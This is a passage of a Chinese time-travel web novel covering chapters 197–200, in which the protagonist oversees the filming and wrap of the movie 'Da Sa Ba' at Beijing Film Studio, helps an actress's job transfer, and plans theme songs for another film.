他把拖把往墙角边倒着一立,自信道:“导儿,直接开拍吧,我保证一遍过。” 王好为笑着说好,“开始!” 却见葛优走上楼。 张新民的摄像机怼在他那张消瘦的脸上,随着他的脚步慢慢转移到他身后。 李健群在屋里配合地发出尖叫声。 葛优顿住脚步,一眼瞧见墙边立着把拖把,毫不犹豫拿起来,抬脚踹在门上。 砰! 木头门被踹开。 他冲了进去,急切地问道:“怎么了?发生什么事情了?” “好!过了!准备下一场!”导演喊着,冲葛优竖起了大拇指。 葛优赧然一笑。 原版中,这段情节是顾颜听到林周云的尖叫声,不紧不慢地拿起笤帚,还侧耳倾听,半晌才轻轻拧开房门,蹑手蹑脚走进去。 林周云还傻兮兮地问道:“谁啊?你是谁?” 一点逻辑都没有的好吗? 高远作了大改动,屋里那个女人嗷一嗓子,指定是发生了意外情况。 顾颜这时候还满脸镇定,这男人就太窝囊了。 必须要展现出男子汉的气概来,你得向林周云证明,我有能力保护你,才会让她循序渐进地对你产生依赖感。 要不然这份依赖感从何而来? 讲不通嘛。 就是自己家这个门,有点可惜了,被葛大爷一脚踹了个大窟窿,这木料质量也忒差了。 高远走进屋里,黑着脸说道:“我家那门160,从优子工资里扣啊,一个月扣不完就俩月,俩月扣不完就仨月,扣完为止。” 葛优刚才还美不滋儿的,一听这话,立马瞪大了双眼,道:“别介啊,我是受到你启发才往门上闷了一脚的,怎么说也应该算公共损耗,踹坏了你得算公家账上,扣我工资算怎么档子事儿啊?” 朱德雄说到做到,几天就把葛优的人事手续办理完毕。 他现在已经是北影厂的正式职工了,每月工资58,也能挺胸抬头做人了。 说话都硬气很多。 大家听了他这番话,放声大笑。 《大撒把》剧组受到厂领导前所未有的关注。 今儿来片场督战的是副厂长孙文今。 孙副厂长笑着说道:“优子说的在理儿,这得算公家损耗。远子,你甭管了,叔儿来安排,回头让人给你家换个新门。” 高远冲老头儿拱拱手,笑道:“那我谢谢您了。” “客气!” 拍摄继续进行。 这是一段连贯的情节。 葛优瞬间顾颜附体,道:“杀只鸡至于这样,我还以为怎么了呢?” 李健群顿了顿,道:“你以为怎么了?” “停!” 那孙子又不自觉地越俎代庖。 大家都乐得不行了,哈哈大笑。 王好为使劲搓着脸,算了算了,我不跟你一般计较,反正我已经习惯了。 李老师乱迷糊,走过来问他道:“有什么问题吗?” 高远略显尴尬,却也倘然,道:“你干嘛带着挑衅的语气啊?顾颜是你仇人吗?你看他烫开水拔鸡毛,动作干净利落,不是应该好奇加好笑吗?” 李老师琢磨琢磨,点头道:“你说得对,我再来一遍你听听:你以为怎么了?” 葛优自动搭词儿:“这么大动静,不是杀人就是自杀。” “呵,我干嘛自杀呀?” “刚送走丈夫,又失去孩子,多伤心呐?脆弱点儿的活着是没劲了,何况你丈夫一去杳无音信。” “你怎么知道我丈夫没来信?” 葛优刚想接词儿,又听到高远喊道:“停停停!” 哈哈哈哈…… 气得李老师飞踹他一脚。 这孙子乐呵得像个三孙子。 李妈扶着李爸的肩膀笑岔了气儿。 李爸也开心得像个五十多岁的孩子。 老两口还是头一次见到闺女使小性儿,觉得特有意思。 “你先别忙着踹我,你这语调太平了,重音放在‘你’字上,音调稍稍上扬,你试试。” “你↗怎么知道我丈夫没来信?” “诶,对喽。” 李老师白眼儿都快翻到天上去了,不过对他也是佩服的,说道:“你都帮我扒戏了,我要是还演不好,我的领悟能力得有多差劲啊。” 高老师欣慰地点点头,还拍了拍李老师的肩膀,道:“继续努力吧,李健群同志,党和人民是相信你能够取得成功的。” 李老师又踢他一脚,道:“贫不贫啊?别耽误我拍戏,一边儿凉快去。” “好的。”高老师特乖巧,转身闪了。 上午把这个片段拍完就结束了工作。 总体来说进展蛮顺利的。 李爸李妈直呼不虚此行。 亲眼见到剧组所有工作人员对自家闺女都十分关照,也放下心来。 况且,未来亲家一家人对闺女是真的好。 高远那孩子也让老两口深感满意。 李爸李妈没久留,跟高爸高妈约好年底给两个孩子订婚,小住了两天后就离开京城回了武汉。 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第197章 我打死你个龟孙儿! 时光如飞奔的野驴,疾驰而过。 又是一年开学季,北大迎来了79级新生。 梁左兴奋得像一头发情期的母猪,摇脑袋晃屁股左瞧瞧又看看。 因为好多漂亮小姑娘啊。 虽然大多穿着朴素,但面容娇艳。 苏牧撇着嘴,对高远说道:“真够丢人现眼的。” 高远一乐,道:“见了美女走不动道,这是男人的共性啊。” “非也!起码你就不是这样的人。” “错了狗狗,我见了李老师也走不动道。” “李老师见了你也走不动道!你俩这是爱情!” 你说得好有道理啊。 高远搂着他的肩膀,说道:“赶紧着吧,去食堂吃一口我就得走人。” 苏牧问道:“你那电影还没拍完?” “只能说拍得很顺利,但进展不怎么快。” “是因为导演对表演艺术要求严格的缘故吗?” “不是,是因为只有一台摄像机,胶片也得省着用,所以想快也快不了。” 苏牧点点头,道:“我明白了。” 这时候迎面走过来一个人,大高个儿,三七开的分头,额头宽阔,浓眉小眼鼻梁挺直,嘴角往下耷拉着。 此人见了苏牧就咧嘴笑,带着一口河南腔的普通话听起来有点别扭,“苏师哥好。” 苏牧对他点点头,说道:“我听说你暑假没回家?” “是啊,没回,打工去了,不工作,这学期就得饿肚子。”他说完,看了看高远,又笑道:“这位就是高远师哥吧?” 高远瞧着他,一乐,“我听说过你,刘震云是吧?” 刘震云,1958年5月出生在河南省新乡市延津县,73年虚报年龄去了甘肃参军,78年复员后在老家一所中学担任民办教师。 这也是个狠人,白天上课,晚上复习,当年便以省文科状元的身份被北大中文系录取。 《一地鸡毛》《手机》《我叫刘跃进》《我不是潘金莲》 大家都知道吧,全是他的代表作。 “我是刘震云,高远师哥的大名我早有耳闻,一直想向您请教文学创作方面的知识,您总也不来学校,无缘得见,甚是遗憾呐。” 小刘同学谦卑的不得了。 高远忙摆着手说道:“你可千万别喊我师哥,这我真担不起,我比你还小两岁呢,文学创作我更教不了你什么,有机会咱们一起探讨就是了。” “您这话不对,闻道有先后,术业有专攻,达者为师。我喊您一声师哥,出自于内心,真情实感,并无不妥。您纠结于年龄,反倒落了下乘。”刘震云固执己见道。 这孩子是个杠头啊。 高远很想用他的家乡话骂他一句:弄啥嘞,弄啥嘞,我打死你个龟孙儿! 我才不愿意当你师哥呢,当你师哥有好处拿吗? 他呵呵一笑,道:“你爱怎么叫怎么叫吧。狗狗,你去食堂吃饭吧,我还有事,先走一步。” 苏牧点点头,说道:“成,回头去北影厂找你玩。” 高远转身走了。 看着他的背影,刘震云问道:“高远师哥很讨厌我吗?我感觉他挺不待见我的。” 苏牧琢磨琢磨,道:“他那个人,比较高冷。或许是跟你不熟吧,接触时间久了你就知道他其实外冷内热了。” 刘震云眯着眼若有所思…… “高远儿,你给我站那儿!” 这位是谁就不用多说了吧。 高远一听,溜得更快了。 惹不起啊惹不起。 小查同学自打当了英国留学生简妮的三陪后,整个人更加放飞了。 就上个月,大家都放暑假了,这个货拉着那个简妮去了北影厂,打着实习的名号死皮赖脸在李老师宿舍里蹭住了三天,混吃又混喝,差点儿没把高老师烦死。 咦? 为什么没把李老师烦死呢? 因为掏钱搭粮票的是高老师啊。 倒不是说小查没有边界感,你也别总听她咋呼说下手晚了,那都是哥们儿之间的玩笑话。 她对李老师可好了,利用陪留学生同住这个优势从简妮手里弄到不少洋玩意儿,护肤品、口红、洋奶粉之类的,每次都给李老师留一份。 这些玩意儿可不便宜。 但没落到丁点儿好处的高老师心里委屈啊,有本事你也对我好一个,那我肯定不躲着你了。 见高远把车链子蹬出了火星子,小查没心没肺地哈哈大笑,又大声喊道:“瞧你那怂样儿!真给文学77级的老爷们儿丢人!” 引来同学们的纷纷瞩目。 高远回到了他忠诚的北影厂。 今儿终于拍到了李诚儒的戏份。 拍摄地点是厂门口的那排平房,其中一间布置成贝劳共和国领事馆的样子。 门口两边摆放着广告牌,西边是剃头修脚,东边是假发出售。 不像是领事馆的办公地点,更像是一家贸易公司。 高远到的时候,门口人乌泱乌泱的,全厂的干部职工都瞧乐子来了。 他停好自行车挤进去,见王导正在给李诚儒讲戏,抓住一只李老师,问道:“拍得不顺利吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!李健群笑道:“挺顺利的呀,诚儒老师的台词太棒了,声情并茂的。” “那导演拉着他是……” “导演说,让他收着点儿演,别抢了男女主角的戏,把握好尺度。” 高远一愣,旋即乐了,自己攒的这套演员阵容,现在看来名气都很一般,过个十几年你再看,嚯,一水儿的大腕儿。 连客串的单拎出来都能在一部戏里挑大梁。 李老师这么一说高远明白过来,李诚儒演技大爆发了。 他的表演劲儿使大了,风头盖过了葛优李健群,导演不满意,专门找他聊一聊。 片刻后,重新开机。 葛优和李健群走到门前,看一眼广告牌,葛大爷说:“卖假发的,是这儿。” 显然来之前打听过地址了。 两人推门进屋。 “来了?”李诚儒把脚从茶几上放下来,起身搭词儿。 “嗯,来了来了,你好。” 葛优跟他握手,又给李健群介绍道:“这位是贝劳大使,陈小芳先生。” “领事,领事,贵国还没有跟我们建立大使级外交关系。” “对对对,这位是中国公民林周云小姐。” “你好。” “哦哦哦,非常荣幸,非常荣幸,来来来,这边请,这边请。” “在浩瀚的太平洋上,散落着许多璀璨的……” “停!” 王好为腾地站了起来,对李诚儒怒目而视,道:“小李你把我的话都当耳旁风了是吧?你说词儿就说词儿,手舞足蹈地干什么?还做出一副很陶醉的样子来,你今儿中午喝的五粮液啊?” 李诚儒委屈巴巴地说道:“导儿,这会儿还没吃中午饭呢。” 哈哈哈哈…… 王好为也被他逗乐了,“别跟我嬉皮笑脸的,记住我说的话,表情收着点儿,别抢戏!” “好的。” 拍摄继续。 “在浩瀚的太平洋上……” “哎哎哎哎,我已经跟她说了。” 李健群道:“贝劳就是其中的一颗。” 李诚儒挥洒自如:“哦,手续费您带来了吗?” “我想先咨询一下再下决心。” “你把委任状和印章拿出来,让林小姐看看。” 这场戏极具讽刺味道,把一个人迫切想要迈出国门的心情淋漓尽致地展现在观众们面前。 一个贝劳共和国的驻华领事,居然连自己的国家都没去过,仅凭一张委任状就可以为想要出国的人们办理手续。 还没有直达的航班和轮船。 林周云一听不靠谱,扭头就走了。 王好为喊了停,颇无奈地问旁边的高远道:“你怎么看?” 高远笑道:“这就是老李的风格,他根本收不住,就这样吧,我觉得挺好,虽说有些出风头,但表演特点鲜明,是一出好对手戏。” 汪阳也说道:“小伙子不错啊,这路子我还是第一次见,能把男女主角盖过去的配角可凤毛麟角。这位同志你们从哪儿找来的?” “老李是景山服装厂的职工,平时喜欢京剧,拜了董行佶先生为师,也常去人艺演个话剧伍的,积累了一些舞台表演经验。” “啊,此等人才却在服装厂浪费时间,可惜了,可惜了。” “您又起爱才之心了?” “怎么,不行吗?”老厂长眉毛一立,支棱着眼珠子瞪着高远。 高远笑笑,说道:“我哪儿敢说不行啊,哪位同志被您看上,那是他的造化。” 汪阳忽地叹声气,把高远拉到门外,道:“有个事儿我拿不准主意,你给我参谋参谋。” “啥事儿把您愁成这样啊?您说,我听着。”高远摸出烟来递给老厂长一根,又给他点了火。 汪阳抽一口后说道:“刘小庆那事儿你听说了吧?” 高远点头道:“听说两口子正在闹离婚呢。” 汪阳蹙着眉头说道:“就是因为迟迟办不了调动手续,搞得人家两口子闹不和了,我这心里老觉得愧疚。” 高远心说这事儿跟您一毛钱的关系都没有,就算您给她把调动手续办过来,人家该离照样离。 但这话他不能说。 说了,就相当于直接毁了小庆姐的前程了。 高远与人为善,且不说刘小庆风评如何,这位姐姐绝对是个局气人。 举个例子,她跟江文那档子事儿人尽皆知。 两人同居好几年,感情破裂都快分手了,江文拍《阳光灿烂的日子》,拍了半截,投资人跑了,剧组面临资金不足的窘境,眼看就要停机,这姐姐把面子一扔,拉下脸来四处找资金。 当然,她没找到。 最后是王朔找来一法国制片人让·路易斯·皮尔给投了一笔资金,才勉强拍摄完成的。 但这部片子里也有刘小庆的投资啊,这姐姐为了扶江文上位,本打算既出人又出钱,亲自参演,后来因为角色不合适才主动放弃了。 就凭这一点,这人就能处。 高远可干不出毁人家前程的卑劣勾当来。 “老厂长,您是怎么考虑的?”他问道。 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第198章 庆姐的感激(求必读票) 汪阳抽着烟,缓缓说道:“照我的意愿,肯定想把小庆同志调过来。咱不说其他的,她演技很优秀吧?” 高远点头,“那没错儿,演啥像啥。” 汪阳嗯了声,“你知道她原单位开了多少钱吗?我指的是培养费。” 高远一笑,道:“别说我了,大家都清楚,八万块嘛。” “是啊,八万块。” “听您这意思,有反对的声音?” 汪阳把烟头扔在地上,抬脚踩灭,道:“班子倒是声音统一了,这钱花得值,也值得花。有几个老导演存在不同意见,说什么为了调动一个演员,去动用账面上本就不多的资金,不如把这钱投进剧组里,还能产生效益。 混账话嘛这不是,没有演员,哪来的剧组?” “是有些本末倒置了。”高远说道:“您既然心里有谱了,干嘛还问我的意见呢?” “唉……我倒不是征求你小子的意见,就是心里有些牢骚不知道跟谁发,把你小子喊出来排解排解郁闷。” “这有啥好郁闷的呀,您下定了决心就去做,您要不方便出面,我去替您办了。 我说句公道话,小庆姐不容易的,有些人只看到她光鲜亮丽的那一面,小庆姐在背后吃了多少苦,受了多少罪才磨炼出来的这个演技,某些人就自动变成睁眼瞎了,这对小庆姐公平吗?” 汪阳拍拍高远的胳膊,欣慰地笑了,“你小子能说出这番话,我特别高兴。得嘞,你也算帮我下了个决心,这事儿也用不着你出面,我让办公室订火车票,明天就去成都把小庆同志的调动手续给办了。” 高远笑道:“我就知道您老是个有魄力的领导干部。” 汪阳哈哈大笑,从口袋里摸出盒大中华来拍到高远手中,道:“赏你了。” 高远一瞧,笑着打个千儿,道:“谢领导赏。” 一天的拍摄很快结束了。 晚吧晌儿的北影厂里最热闹的时候。 吃过晚饭,生活区里的干部职工们都拎着马扎到前院来纳凉了。 大人们聚在一起扯闲篇儿,孩子们跳皮筋儿、丢沙包、老鹰抓小鸡,玩得不亦乐乎。 高远没在食堂里吃晚饭,他喊着葛优、杨立新、李诚儒、梁晓声出门喝扎啤撸串。 五个人刚走到主楼小广场前,高远就抓住一只江珊。 “珊珊你吃了没?”高远揪着她的小辫子问道。 “我没呢,哥你先放手啊,疼。”江珊一脑门子汗,刚才在跳房子。 大家都知道,这是高远的亲妹子,遂笑开了。 高远松了手,对她说道:“去喊你爸,就说哥请他吃烤串,你也一起来。” 江珊眼一亮,问道:“是门口新江大叔那家店吗?” 高远说是。 她转身就跑,“马上到,哥你先给我要瓶北冰洋啊。” “没问题,慢点儿跑,别摔了。” 江珊像没听到一般,撒丫子颠儿了。 五个人先行一步,来到新江大叔店门口,在方桌前坐了。 高远隔三岔五就来一次,已经跟新江大叔混熟了,聊天后知道大叔叫艾哈买提·艾布都热苏力。 他给起了个简称,叫人家艾大叔。 “小高来了啊,今天新上了你给支招的烤鸡翅和牛板筋,大叔马上烤,待会儿你们尝尝味道如何。”艾大叔笑着打招呼道。 “得来艾大叔,您辛苦了。”高远冲他抱抱拳。 艾大叔咧嘴一笑,自顾自在烤炉前忙活起来。 好看的古丽送过来几扎冒着凉气儿的啤酒,冲高远温柔一笑,然后转身离开。 哎哟,高远那个心啊,被这一笑搞得麻酥酥的。 李诚儒一碰杨立新的腿,努着嘴道:“瞧见没有,这孙子吃着碗里的盯着锅里的,不是啥好鸟儿。” 普及个冷知识,BJ话,这孙子不是个骂人的词儿,没啥贬义,关系特别要好的朋友才会用这词儿称呼对方,显得亲近。 杨立新乐不可支,道:“男人嘛,都一个德行,你丫敢说见了美女不动凡心?” “那他是唐僧,什么这精那怪,女儿国王,长得再漂亮也别想乱他佛心,丫不作他想,一心奔着西方乐土策马扬鞭。”葛优来了一句。 “你也不是个好鸟儿。”李诚儒捡了个水煮花生米丢在优子光秃秃的脑门儿上。 说笑间,江淮延拎着两瓶洋河大曲过来了,左手还牵着个笑嘻嘻的小萝莉。 “今儿是怎么个局啊?人聚的挺全乎。”他坐下后把酒瓶往桌上一放,说道。 “闲聊局,不爱吃食堂的饭了,我就把几位哥哥拽过来改善改善。”高远笑笑,一看酒瓶,又道:“大热天的喝白酒,领导你胃里不烧得慌啊?” “你正好说反了,我胃寒,喝不了啤的。” 江淮延说着,拧开一瓶洋河,又问道:“哪位陪我喝点儿白的?” 李诚儒把酒瓶接过去,笑道:“我陪江主任喝一口,我也不爱喝啤酒,这玩意儿喝多了涨肚子。” 梁晓声也把杯子递过去,道:“辛苦李老师也给我倒点儿吧。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“瞧您这话说的,忒客套了,倒杯酒有什么好辛苦的,我来北影厂这段儿全靠领导们和兄弟们照顾了,今儿这顿算我的。” 李诚儒很社会,话说得也到位,能够照顾到每个人的情绪。 给两人倒满酒,他又给自己倒了一杯,说:“咱也别等串儿了,就着花生毛豆走一个吧。” 高远端起塑料扎,先吆喝了一嗓子:“古丽,给我妹子拿两瓶北冰洋来。” 然后才和大家碰碰杯,一口闷下去小半扎。 这会儿一扎啤酒整二斤,大塑料扎,酒质也好,喝多少都不会出现跑肚拉稀的状况。 不大会儿,古丽拿着两瓶北冰洋过来了,递给江珊,又冲她温柔一笑。 江珊两眼布灵布灵的,咋呼道:“哇,小姐姐好漂亮啊。” 古丽脸一红,轻声说道:“你也很漂亮,长大了一定是个大美人儿。” 江珊嘻嘻一笑,开心的不得了。 肉串上来了,还有一个铝制的小炉子,炉子里木炭正旺,串儿凉了再放上面加个热,滋滋一冒油,就叫一地道! 高远瞅着李诚儒,问道:“你刚才说我啥来着?” 李诚儒支棱着眼珠子,道:“说你吃着碗里的盯着锅里的,咋,你有意见啊?” “我哪敢有意见啊,本来还想着告儿你个好消息,让你提前有个思想准备,你要好事临门了。得,我瞧您这操性也不像个能融入集体的人,我还是甭说了,免得你闹心。”高远故意逗他。 老李一听,来劲了,忙说道:“别啊兄嘚,哥哥这操性是不怎么样,但是你哥哥我仗义、局气,有话当面怼你脸上,也绝干不出在背后捅你刀子那种没屁眼子的事儿来,大家伙儿说对不对?” 同志们很给他面子,都说对对对,是是是,诚儒好汉子,铁血真爷们儿! “说吧兄嘚,有啥好事儿要落你哥哥头上了,你给哥提醒个一句半句的。”李诚儒很急迫的样子。 高远随手给江珊发个串儿,也不慎着了,笑道:“行吧,我给你透露透露,老厂长看上你了,后面你知道该怎么办了吧。” 咝! 李诚儒倒吸一口老厂长,俩眼瞪得跟灯泡似的,惊恐道:“这种玩笑可不能开啊,哥哥我卖古玩,卖衣服,啥都卖,就是不卖屁股!” 噗! 杨立新刚喝进嘴里的啤酒全喷了出来,接着放声大笑。 大家全笑趴下了。 这脑洞也太大了。 高远翻了个白眼儿,说道:“你想哪儿去了?那么大脑袋里面,除了炒肝就是卤煮吗?” 梁晓声端着扎啤杯跟高远碰了一个,猛灌一口后抹抹嘴,道:“还有四两包子馅儿。” 李诚儒脸涨得通红。 葛优提醒他道:“高老师的意思是,老厂长今儿看了你的表演后,相中你这个人了。你自己多活动活动,说不定能调到北影厂来工作。” 李诚儒一拍葛优的大腿激动道:“原来是这个意思啊。” 葛优呲牙咧嘴,道:“不然你以为呢?” 李诚儒又拍他的大腿,道:“我以为老厂长那啥……有问题呢,喜欢年轻力壮的。” 葛优道:“想什么呢你?汪厂长是老革命,思想觉悟比你个儿都高,人家夫妻恩爱着呢。” “那是我误会了。”李诚儒第三次拍他大腿的时候,被他伸出手心儿拦住了。 葛大爷瞪着眼,道:“甭管什么时候激动,拍您自个儿的腿。” “又拍不坏。” “那也不行!” 高远脸都笑抽抽了,哦,那个桥段敢情是这么来的啊。 一帮人吃着喝着聊着,惬意且放松。 店门上面300瓦的灯泡将四周照得宛若白日。 一道人影走了过来。 刘小庆眼圈儿通红,快步走到高远跟前,望着他,抽搭着说道:“远子,感谢的话姐就不说了,姐给你鞠一躬。” 说着,她冲高远一躬到底。 高远慌了一下,反应过来后立马起身将她扶起来,道:“庆姐,你这是闹哪样啊?这不是折兄弟的寿么。” 刘小庆的眼泪唰就下来了,“远子,姐心里有数,姐向你保证,今后你有用到姐的地方,姐水里来火里去,任你差遣。 但凡说个不字儿,姐就不是个人了。” “言重了,您这话言重了。”高远明白她要表达什么意思。 这事儿我只是顺手而为啊,没我说那两句话,老厂长也会给你办的。 有一说一,高远有点惭愧。 刘小庆点点头,又感激地看了他一眼,没在表示什么,爽利地转身离开了。 趁大家不注意,她提前把账给结了。 同志们被刚刚发生的这一幕惊住了。 江淮延开口问道:“远子,怎么回事啊?” 别人问高远绝不会说的,江叔问了,高远再不说就不够意思了。 又一想,小庆姐这事儿也不是啥秘密,厂里议论很久了。 他就把下午老厂长跟他聊天,自己帮刘小庆说了两句话的事情简单跟大家说了说。 江淮延抿了口酒,道:“难怪她今天情绪起伏这么大,这是真把你当恩人看了,小庆是个有情有义的姑娘啊。 远子你也不赖,说话做事没随大流,站在了公平公正的立场上,这个优点更加难能可贵。” 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第199章 《大撒把》杀青!(杀青了求票哇) 被江淮延一顿夸,高远还挺不好意思的。 “我只是帮小庆姐说了两句公道话而已,您太过誉了。” “哼!就是这种公道话,厂里也没几个人有胆量站出来说,一个个都他妈看笑话呢。” 江淮延这话带着一股子不满的味道。 葛优撸了一串儿,把钎子放下后说道:“人心不古啊。” 高远没接这茬,说道:“老厂长明天去成都,给小庆姐办调动手续,把事儿办完,小庆姐的心就彻底安定下来了。” 杨立新端着扎啤桶笑道:“来,喝酒。” ……………… 李文化找到高远的时候,《大撒把》的拍摄已经接近尾声。 顾颜和林周云决定搭伙过个春节。 为了营造春节的气氛,剧组下了血本,光烟花鞭炮就买了一千多块钱的。 这玩意儿还不好买,高远让道具组的老师跑延庆一家国营厂订购回来的。 副导演钱康组织教职工大院的老师、教授、家属、孩子们一起帮忙放烟花爆竹。 院子里热闹得真跟过年一样。 尤其是那些老教授的孙子孙女们,一个个高兴坏了。 这是夜场戏,现在就讲究这个,白天的戏白天拍,晚上的戏夜里拍。 不像后世,白天的戏份晚上拍十分正常,因为灯光条件能营造出白天的效果来。 现在可不行,根本不具备那个条件。 外面火树银花不夜天,林周云坐在家里孤孤单单看电视。 门响,顾颜捧着颗白菜进了门。 两人一番对话,接着包饺砸。 饺砸包好就着红酒吃,互相说了些祝福的话,也向对方吐了些彼此对象的嘈,袒露了点心声。 最后达成了找回点家庭生活感受的一致意见,决定孤男寡女报团取暖一块儿过节。 两只红酒杯碰在一起,发出“叮”地一声脆响。 王好为腾地站起身,笑容满面:“好,过了!” 她把高远拉过来,两人相视一笑,她说道:“咱俩一起吆喝一嗓子呗。” 高远说好。 王好为起个头儿:“我宣布……” 两人异口同声道:“《大撒把》的拍摄工作圆满完成!” “好!” 演职人员们轰然叫好。 片场里爆发出掀翻屋顶的热烈掌声。 大家互相拥抱着,庆祝着,互道辛苦。 一路走来,演职人员们亲眼见证了这个剧组从筹备到圆满完成工作任务。 大家都被剧组团结友爱的气氛深深感染着。 道具师吴雷鸣腾腾跑过来,抱住高远激动地说道:“高老师,跟您合作太愉快了,下次有戏您还找我。” 高远拍拍他的后背也动了感情,道:“必须必!感谢吴老师为这部戏的辛苦付出,回头我摆两桌,专门酬谢大家。” 吴雷鸣嘿嘿笑道:“两桌可能坐不开,起码三桌。” “那就三桌!”高老师豪气干云。 吴雷鸣又去找王好为要抱抱。 高远身边围满了人。 葛优咧着嘴笑。 “演痛快了?” “哎呀,我头一次深刻地感觉到,演戏是如此让人酣畅淋漓的一个工作。高老师,跟您道谢显得我矫情了,您是我走上艺术表演康庄大道上的领路人,今后您若有用得上我的地方,我执鞭坠蹬、愿为一卒。” 这话说得特别葛老师。 高远乐了,道:“你是个性情中人,这我门儿清,执鞭坠蹬、愿为一卒这话今后就别说了,我更愿意跟你处成哥们儿。” 葛大爷呲出四个大板牙,道:“这也是我之所愿。” 两人亲切友好地抱了抱。 然后高老师笑眯眯看着李老师,道:“咱俩也抱一个呗。” 同志们起哄:“抱一个!抱一个!” 李老师赧然、羞涩、身子骨僵硬、迈不动步。 高远主动走上前,将美人拥入怀中,在她耳边轻声说道:“群群,恭喜你,出色地完成了一个大女主的全部戏份,且将人物塑造得特别完美。” 李健群的眼睛倏地一亮,道:“这是不是意味着,我也有代表作了?” “没错,你也有代表作了,等电影一上映,你会红遍全国大江南北的,我保证。” “远子,谢谢你。”李健群紧紧抱住了他。 “跟我还道谢,你是不是拿我当外人了?好了,去跟导演说声谢谢吧,王导为这部戏付出得比我多。” 高远放开怀抱,眼珠儿一转,起哄架秧子道:“大家伙儿听我招呼啊,把导儿抬起来,往天上抛!” “嗷……” 大家嗷了一嗓子,呼啦啦跑过去,二话不说把王好为抬了起来,狠狠抛向半空,接住,又抛向半空…… 王好为吓个半死,心脏都漏跳了半拍,慌张地喊着:“放我下来,放我下来!小远子你作死啊,大姐心脏负担重!可受不了这么大刺激!” 片场欢乐极了。 玩闹了一会儿,大家把王好为放下来。 王好为抚着胸口脸通红,却也呵呵笑了起来,道:“时间不早了,收拾收拾准备撤吧,再闹腾下去,左邻右舍该有意见了。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!大家说好,开始收拾拍摄器材。 剧组过来对高远说道:“高老师,今晚先这样吧,明儿个我带人来给家里恢复成原貌。” 高远跟他握握手,笑着说:“那就辛苦您了。” “您客气,应该的。” 《大撒把》是高远从筹备期到完成全部拍摄任务完整跟的第一个组。 他比拍《瞧这一家子》那会儿都用心。 还是那句话,这部影片是他为李老师精心打造的,跟后世原版的《大撒把》相比,这一版,高远做了大量魔改。 使故事的逻辑性更强,内核更硬,观赏性更高。 再加上演员们出色的表演,高远对获奖信心十足。 月光如水,他和李老师刚走出楼道,就被等候已久的李文化堵了个正着。 李文化很愁,开门见山道:“《太极》的后期制作已经完工,现在就差配乐了。你也知道,各大制片厂很多年没拍摄过武打片了,对这类片子的配乐那是一点经验都没有。 你不是会写歌么,《太极》的故事也是你创作的,一事不烦二主,你给来两首呗。” 高远乐了,道:“边走边说。” 李文化说得没错儿,这年头儿,武打片的配乐真成问题,好些年没人拍了,词曲作者们对这类侠骨柔情的歌曲风格拿捏不住。 偏偏这部片子承担着挣外汇的艰巨任务,高远也不得不重视。 好在他脑子里有座金曲宝库,找几首合适的主题曲小菜一碟。 但是配乐他就无能为力了。 不过他想起一个人来,遂说道:“片头曲片尾曲我来搞定,配乐我可搞不定,这样吧,北电有个叫胡伟立的音乐老师,特擅长创作影视剧插曲、配乐,赶明儿我跑一趟,争取把他请出山。” 李文化看他一眼,道:“我就奇了怪了,你都是从哪儿打听到的这些人?” 李健群也很好奇,打量着高远,但她不问。 高远笑道:“《大撒把》里律师那个角色的扮演者叫谢园,他就是北电的在校生,我经常凑一起交流,人是我和他闲谈的时候他告诉我的。” 纯扯淡好吗,谢园压根儿没跟他提过胡伟立。 李文化点点头,道:“原来如此,不过明天你估计很难抽出时间到北电去找人。” “怎么?” “要举办《太极》的内部看片会啊,你不知道吗?” “哦,我知道,就不参加了。内部看片会过了后就要送审了吧?” 李文化嗯了声,道:“先送广电审一遍,广电通过后再送到文化部过一遍程序,拿到上映许可证后就可以排期了。” 这年头儿,一部电影上映,流程太复杂了,要过好几道关。 通不过审查,被打回来要求修改的案例不胜枚举。 当然,后世的审查也很严格,嗯。 高远皱皱眉,说道:“眼看要到国庆节了,今年是三十年大庆,文化口各个单位都在积极准备献礼活动,咱们的《太极》这时候送审不是添乱么,谁还顾得上审片子啊。” “倒也是,那怎么办啊?” “让老厂长拿着拷贝直接送海子里去,廖公看过后感到满意,批个条子啥问题都解决了。关键是不能耽误我们把电影送出海的工夫,电影也要讲究个时效性啊。” 李文化一乐,说道:“这倒是个好主意,成,赶明儿我跟老厂长汇报汇报。你那歌儿什么时候能给我?” 高远佯装思考了片刻,道:“我尽快吧。” 三人在招待所门口分别。 高远问李健群道:“你是回宿舍凑合一宿,还是回家去住?” 李健群看看天儿,笑道:“算了,我回宿舍凑合一宿吧,你也累一天了,再麻烦我们高老师送我回去,我怪不落忍的。” 呀! 好姐姐性格开朗了很多啊,都会开玩笑了。 高远乐见其成,牵着她的手,笑嘻嘻说道:“那也是我的家啊,我可以留宿的。” 李健群轻轻踢他一下,嗔道:“不许胡思乱想。” “你怎么知道我想了些啥?” “狗脑子里还能开出灿烂的花?” “啧,这话说的,我好伤心啊。” 李健群懒得理他,快步进了招待所大门。 高远也跟了过去,不过是去了4楼。 打开房门,他走进去,往书桌前一坐,铺开稿纸拿起钢笔开始回忆那些经典歌曲哪首适合作为《太极》的主题歌。 脑子里翻江倒海了一番后,他还是决定用原版《太极宗师》电视剧的主题歌。 就是那首《英雄谁属》。 “天已暮,月如初,千里江川任我飞渡;歌声住,人环顾,邀月同宿青山深处……” 雄浑大气的中国风! 至于片尾曲,他也想好了,有一首他特别喜欢,也特别经典的歌曲让人听了后就起一身衣鸡皮疙瘩。 这个叫《两两相望》,93版《倚天屠龙记》的片尾曲之一。 原唱辛晓琪。 嗯,果断窃之! 把歌词和曲谱写完后,高远又发愁了,这两首歌交给谁来唱呢? 《英雄谁属》的原唱居然是曲作者卞留念你敢信? 窃了人家的作品再请人来唱,有点儿没屁眼儿啊。 高远琢磨琢磨,屠洪刚这会儿干嘛呢? 想起来了,他刚11岁,pass! 韩·森布尔·磊也才11岁,再psaa! 刘欢……刚初中毕业。 他突然想起一个人来,顿时热血沸腾。 喜欢重返1977:从成为高考状元开始请大家收藏:()重返1977:从成为高考状元开始更新速度全网最快。 第200章 胡伟立 这人叫腾格尔,这会儿刚好在中国音乐学院进修指挥,明年就会考入天津音乐学院作曲系就读。 